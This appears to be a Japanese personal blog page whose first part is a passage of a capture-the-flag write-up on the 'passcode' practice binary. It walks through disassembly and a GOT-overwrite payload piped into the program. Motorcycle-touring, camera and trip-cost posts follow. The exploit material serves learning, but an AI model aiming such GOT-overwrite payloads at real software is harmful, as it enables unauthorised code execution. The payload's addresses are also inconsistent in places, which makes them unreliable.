   0x08048655 <+76>: xor    %gs:0x14,%eax
   0x0804865c <+83>: je     0x8048663 <welcome>
   0x0804865e <+85>: call   0x8048440 <__stack_chk_fail plt="">
   0x08048663 <+90>: leave  
   0x08048664 <+91>: ret    
End of assembler dump.

(gdb) disas main
Dump of assembler code for function main:
   0x08048665 <+0>: push   %ebp
   0x08048666 <+1>: mov    %esp,%ebp
   0x08048668 <+3>: and    $0xfffffff0,%esp
   0x0804866b <+6>: sub    $0x10,%esp
   0x0804866e <+9>: movl   $0x80487f0,(%esp)
   0x08048675 <+16>: call   0x8048450 <puts plt="">
   0x0804867a <+21>: call   0x8048609 <welcome>
   0x0804867f <+26>: call   0x8048564 <login>
   0x08048684 <+31>: movl   $0x8048818,(%esp)
   0x0804868b <+38>: call   0x8048450 <puts plt="">
   0x08048690 <+43>: mov    $0x0,%eax
   0x08048695 <+48>: leave  
   0x08048696 <+49>: ret    
End of assembler dump.

objdumpコマンドで逆アセンブルします。AT&T記法注意。(上の例ではHTMLなどで使う記号のエスケープを一部やってないので変な表示になっているかも)

ソースコード20行目のsystem関数でflagを開いてるのは、逆アセンブル結果では35行目に当たります。system関数を呼び出す準備(引数をスタックに積む)をしてるっぽい34行目にジャンプしたいので0x080485e3、つまり13451417にジャンプすれば良いです。

この例のwelcome関数の逆アセンブル結果54~57行目を抜き出しました。

   0x0804862f <+38>: lea    -0x70(%ebp),%edx
   0x08048632 <+41>: mov    %edx,0x4(%esp)
   0x08048636 <+45>: mov    %eax,(%esp)
   0x08048639 <+48>: call   0x80484a0 <__isoc99_scanf plt="">

welcome関数の中ではnameを聞くために一回だけscanfを使っています。name変数のアドレスをここの1行目のLEA(ロードエフェクティブアドレス)命令でeaxにロードしています。

よって変数nameは-0x70(%ebp)つまりEBP-0x70にあるらしいことがわかります。

そしてpasscode1の位置は…
login関数の逆アセンブル結果、11行目から14行目を見てください

   0x0804857c <+24>: mov    -0x10(%ebp),%edx
   0x0804857f <+27>: mov    %edx,0x4(%esp)
   0x08048583 <+31>: mov    %eax,(%esp)
   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf plt="">

ここの1行目でMOV命令を使っています。これは前述の通りscanfに変数のアドレスじゃなくて変数自体を渡してしまっているためです。

ここからさっきと同じく-0x10(%ebp)つまりEBP-0x10に変数passcode1があることがわかります。

0x70と0x10の差を取りますと96。

96バイトを適当なデータで埋め、その後の4バイト(ちょうどpasscode1の位置)を、書き込みたいアドレス(fflushを指してるGOTのアドレス)にします。

fflushを指してるGOTのアドレスは

passcode@ubuntu:~$ objdump -R passcode

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

から、0x0804a004だとわかりました。

よって、
最初の96バイトを無駄なAで埋め、次の4バイトをfflushを指すGOTのアドレスで埋め、最後にジャンプしたい先の0x080485e3、つまり13451417を入れます。

python -c "print 96*'A'+'x04xa0x04x08'+'134514147'"

となり、

python -c "print 96*'A'+'x04xa0x04x08'+'134514147'" | ./passcode 

これでOKになります。

間に改行文字挟んでないのでわかりにくいですが、

96*'A'+'x04xa0x04x08'

までがnameに入力されます。BOFにより末尾の0x080485e3がちょうどpasscode1の部分に書き込まれます。ここまででちょうど100バイトですのでnameが受け取る入力は勝手にここまでになります。
(この後に’n’を挟むと101バイトになってしまい、次のpasscode1の入力になってしまいます…ので挟みませんが、挟んでもscanfは改行文字は区切り文字として見るので先頭なら改行文字が来ても結果は変わりません。)

'134514147'

がpasscode1の指す先(fflushを指しているGOT)に書き込まれます。
 よってfflushを呼び出す際に0x080485e3にジャンプするというワケです。

注意点

なお前述の通り、逆アセンブル結果の、system関数の引数の準備をしている34行目(0x080485e3)でなくsystem関数を呼んでる35行目(0x080485ea)にダイレクトにジャンプすると

passcode@ubuntu:~$ python -c "print 96*'A'+'x04xa0x04x08'+'134514154'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
sh: 1: Syntax error: word unexpected (expecting ")")
enter passcode1 : Now I can safely trust you that you have credential :)

のようにエラーが出てしまいます。

富谷観音、雨引観音(楽法寺)ツーリング。with FUJI X70

Fujifilm X70での経験を積むことも兼ねてのツーリング。

X70は手ブレ補正が一切ありません。今時珍しいですが…。

なので油断してると、等倍に拡大してみると微妙に手ブレしてたりします。
よって、同じ写真をバチバチバチって数枚撮っておくようにしています。
一眼レフを振り回してる上級者にはブラケット撮影は当たり前なのかも知れませんが…
この手動ブラケット撮影的なものは10年前のデジカメの時は良くやっていたのでその時のことが思い出されます。

X70はダイヤルで露出、絞り、シャッタースピードが別々なダイヤルで調節できます。
マニュアルフォーカスモードにすればピントも別なリングで操作できます。

画面を見ずにさくさく設定を変えられるので大変この部分は気に入っています。

銀塩フィルム時代っぽい見た目の現行機では一番カッコイイと思ってます。

初めは富谷観音に行きました。

うーん…ボケが汚い気がします。(良し悪しはよくわかんないけど)

僧が女人(にょにん)とくっついてて良いのかな…

コンデジは往々にしてセンサーサイズが小さいため被写界深度が深く、それによりピントが少しばかり適当でもピンボケになりにくいです。
しかしX70はデジイチと同じAPS-Cサイズのため、被写界深度が浅い…つまり少しでもズレればボケるというわけ。

遠景を撮る場合はある程度(F8以上)絞り込まないと、拡大して見なくてもわかる程度に周りのピントが甘くなります。

こういう写真見るとiPhoneじゃあ撮れなかったなーと思います。

デジタルテレコンつかうとやっぱり画質に影響あります。というか拡大してるぶん手ブレやピントのずれが顕著に分かるようになるだけ?
これはデジタルテレコン50mm。標準画角は28mmでiPhoneと同じ。

緑が美しいけどフィルムシミュレーションでベルビアを選択してるからです。

つぎは雨引観音

パノラマを試して見ます…

なかなか…。

HDR撮影すればよかったですね

Fujifilm X70は総じて写りが良くてお気に入りです。画角が同じのiPhoneと比べても、サムネイルですら違いがわかるはず…。
色による違いが大きいのかなー。

日本一周中に落として筐体が歪んでるのでいつか直してあげたいです。

日本一周による水虫感染の発覚

バイクで日本一周を2017年8月31日をもって終えて、それから10日以上たってから水虫感染が発覚しました。左足の中指と薬指の間が皮がボロボロになって剥がれて赤くなってました。

まぁ1日置きにしか風呂入らなくて、雨続きで靴がびちょびちょだった期間も長かったから仕方ない。
公衆浴場の菌がうようよしてそうなマットだって何回も踏んだわけだし。

超長距離ツーリングを企画される皆様に置きましては、完全防水のシューズを選びましょう。手袋も。
あとからレインカバーなどで対処するのは面倒だし防水が不完全です。

現在は強力な塗り薬を塗って治療中です。
水虫は24時間以内に洗う(流す程度でも!)だけで感染は防げるらしいので、日本一周する際は完全防水の靴買うか毎日風呂入りましょう。

日本一周・距離や費用のまとめ

(アップデート途中です)

金額は出先での出費が24万円、Amazonで買ったものが11万2000円、合計で約35万円の出費です。

なかでも単発で大きいのは、カメラが6.5万円、タイヤ交換が5万円、飛行機往復2万円、フェリーが2万円、といったものでした。

内訳は燃料費が3.5万円、食費が3.6万円、宿泊費が2.9万円、高速代が3.5万円です。

燃料費がこの金額に収まってるのは、回転数を全然上げずに走ったからでしょう。
家の周辺を走るときは13,000回転くらいまで回して走ってるので18km/Lとかになりますが、長距離走る際は疲れを抑えるため6000回転以下で走るので、良い時では30km/Lになりました。

これから日本一周する人へ

期間は最低1ヶ月くらい、予算は20万円ほど。
タイヤやカメラなど余計なものを購入しないのならこのくらいで行けるハズです。
ただし、本州での観光はあまり望めません。

バイクウェアの類はぜひ防水のを選んでください。
グローブ、ジャケット、シューズ(ブーツ)、こいつらが防水じゃないと雨が降った時にいちいち止まって荷物から防水用具を引っ張り出さなきゃならず面倒です。
それにレインカバーなど後付けの防水用具は、完全に雨を防いでくれることが少ないです。

また、止まって雨具を取り出す余裕があるならまだ良いほうで、いきなりザーッと振り出されるとびしょ濡れになってから雨具を着ることになります。

シューズがびしょ濡れだと水虫になってしまうかもしれませんし。(実際、なりました)

ほか、バイクの車種を選べるならば、軽くてライトが明るいバイクが良いと思います。

砂利道や勾配のある道でUターンや低速走行、押し歩きをしなくてはならないときがありました。重いバイクに重い荷物積んでるとコケたとき大変です。

街灯のあまりない場所だと、夜間、雨に降られると全く見えなくなります。
ホーネットは(安物の)LEDバルブに交換してもまだ暗いので、フォグランプのような補助灯をつけるべきだと思います。